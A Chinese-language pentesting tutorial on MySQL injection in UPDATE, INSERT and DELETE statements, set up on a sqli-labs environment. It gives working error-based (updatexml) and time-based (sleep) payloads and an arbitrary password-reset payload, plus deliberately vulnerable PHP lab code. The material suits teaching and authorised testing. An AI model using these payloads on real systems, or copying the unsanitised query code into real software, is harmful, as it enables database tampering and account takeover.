日常在渗透测试/代码审计挖掘MYSQL注入时,经常会遇到update、insert以及delete等注入点,由于该类注入点操作比较敏感,故而对该类注入进行研究。
常见场景
UPDATE
用户密码重置
当用户忘记密码时,管理员可以通过后台重置密码。用户修改密码
用户通过前端提交新密码,后台更新数据库中的密码。更新单条记录
修改特定记录的字段值,如更新邮箱或密码。INSERT
添加新用户
用户注册时,后台将其信息插入数据库。批量插入数据
一次性插入多条记录,如批量导入用户数据。DELETE
删除用户
根据条件删除不再需要的用户记录。批量删除数据
删除符合特定条件的多条记录。清空表数据
清除表中所有记录,但保留表结构。
测试环境搭建
phpstudy+sqllabs
update注入
update函数常用于更新数据
常见语句
UPDATE
security
.users SET password = '$input' WHERE username='admin'
注入手法1:where+sleep时间盲注(无回显)
1.通过分析发现update使用where进行定位时,会优先判断where后面的逻辑。利用改特性可以绕过修改数据的过程。
2.得出payload
admin' where if(length(database())>=8,sleep(0.3),sleep(0.2))--+
注入手法2:结合where完成任意密码修改
1.通过配置where后面的用户名,完成任意用户密码修改
admin' WHERE username='指定用户'--+
注入手法3:where+updatexml报错注入
与上面同理,where还可以结合updatexml完成报错注入,得出payload
admin' WHERE updatexml(1,CONCAT('~',DATABASE(),'~'),1)--+
注入手法4:SET属性+updatexml等构造报错注入
1.SET属性本身可以后面接updatexml使用,并且不修改数据库内容
2.得出POC
123456' AND updatexml(1,CONCAT('~',@@VERSION,'~'),1)
备注:AND OR XOR 均可
注入手法5:SET属性+sleep等构造时间盲注(有风险慎用)
1.SET属性本身可以后面接sleep使用,不过当参数被引号包裹时,会修改当前属性值后再进行注入。sleep(x)会被当成0写入数据库
坑点
坑点一:注释符慎用
当遇到如上场景时,若输入为
$input = 123'--+时,可能导致数据库全体密码被修改,从而影响业务
注入前:
注入后:
insert注入
测试环境代码
参考slq-labs17写一个insert功能
<?php
// Including the MySQL connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// Check if username and password are set
if (isset($_POST['uname']) && isset($_POST['passwd'])) {
// Making sure uname is sanitized
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
// Logging the input to a file for analysis
$fp = fopen('result.txt', 'a');
fwrite($fp, 'User Name: ' . $uname . "\n");
fwrite($fp, 'New Password: ' . $passwd . "\n");
fclose($fp);
// Insert query to add a new user
$sql = "INSERT INTO users (username,password) VALUES ('$uname', '$passwd')";
// Execute the query
$result = mysql_query($sql);
print_r($result);
if (mysql_error()) {
echo '<font color="#FFFF00" font size="3">';
echo "Error: " . mysql_error();
echo "</font><br>
";
} else {
echo '<font color="#FFFF00" font size="3">';
echo "User successfully inserted.";
echo "<br>
";
echo "</font>";
}
// Display image as feedback
echo '<img src="../images/flag1.jpg" />';
}
?>
常见语句
insert用于往数据库内添加数据,常见语句如下
insert into
security
.users (key1,key2) VALUES ('$value1','$value2');
注入闭合时,需要优先判断插入的key值有多少个。故而构造POC,长度不匹配时语句失败。
#POC
1',1)#
#完整语句
insert into `security`.users (key1,key2) VALUES ('1',')#','$value2');
updatexml报错注入(回显)
1.VALUES值后接updatexml等报错注入函数,可以在不插入数据的基础上构造报错注入
注入语句:
查询结果:
2.根据分析可得出payload
uname=1&passwd=1'//and//updatexml(1,CONCAT('~',DATABASE(),'~'),1))--+
sleep时间盲注(会插入脏数据)
1.value值可以进行IF/when逻辑判断,所以可用于进行延时盲注。不过该处会插入脏数据,评估后执行
注入语句:
数据查询:
2.根据分析得出payload
uname=1&passwd=1'//and//IF((database()//like//'s%'),sleep(4),sleep(2)))--+
uname=1'//and//case//when//(database()//like//'m%')//then//SLEEP(3)//ELSE//SLEEP(1)/**/END)--+
delete注入
测试环境代码
<?php
// Including the MySQL connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// Check if username is set for deletion
if (isset($_GET['uname'])) {
// Making sure uname is sanitized
$uname = $_GET['uname'];
// Logging the input to a file for analysis
$fp = fopen('result.txt', 'a');
fwrite($fp, 'User Name to delete: ' . $uname . "\n");
fclose($fp);
// Delete query to remove the user by username
$sql = "DELETE FROM users WHERE username = '$uname'";
// Execute the query
$result = mysql_query($sql);
// Check for errors and display feedback
if (mysql_error()) {
echo '<font color="#FFFF00" font size="3">';
echo "Error: " . mysql_error();
echo "</font><br>
";
} else {
echo '<font color="#FFFF00" font size="3">';
echo "User successfully deleted.";
echo "<br>
";
echo "</font>";
}
}
?>
常见语句
DELETE FROM users WHERE username = '$uname'
updatexm报错注入(回显)
这一块和前面使用类似,参数可以利用updatexml等函数构造报错注入。该处直接给出payload
/delete.php?uname=a' and updatexml(1,concat('~',@@version,'~'),1)--
if+sleep时间盲注(无回显)
1.where 后接判断接sleep,不会删除相关数据。
执行语句:
查询结果:
2.得出payload
/delete.php?uname=IF_time_blind' and if((database() like 's%'),sleep(1),sleep(2))--+
备注
其余类型参考Update,主要是针对where参数的注入,不过多赘述。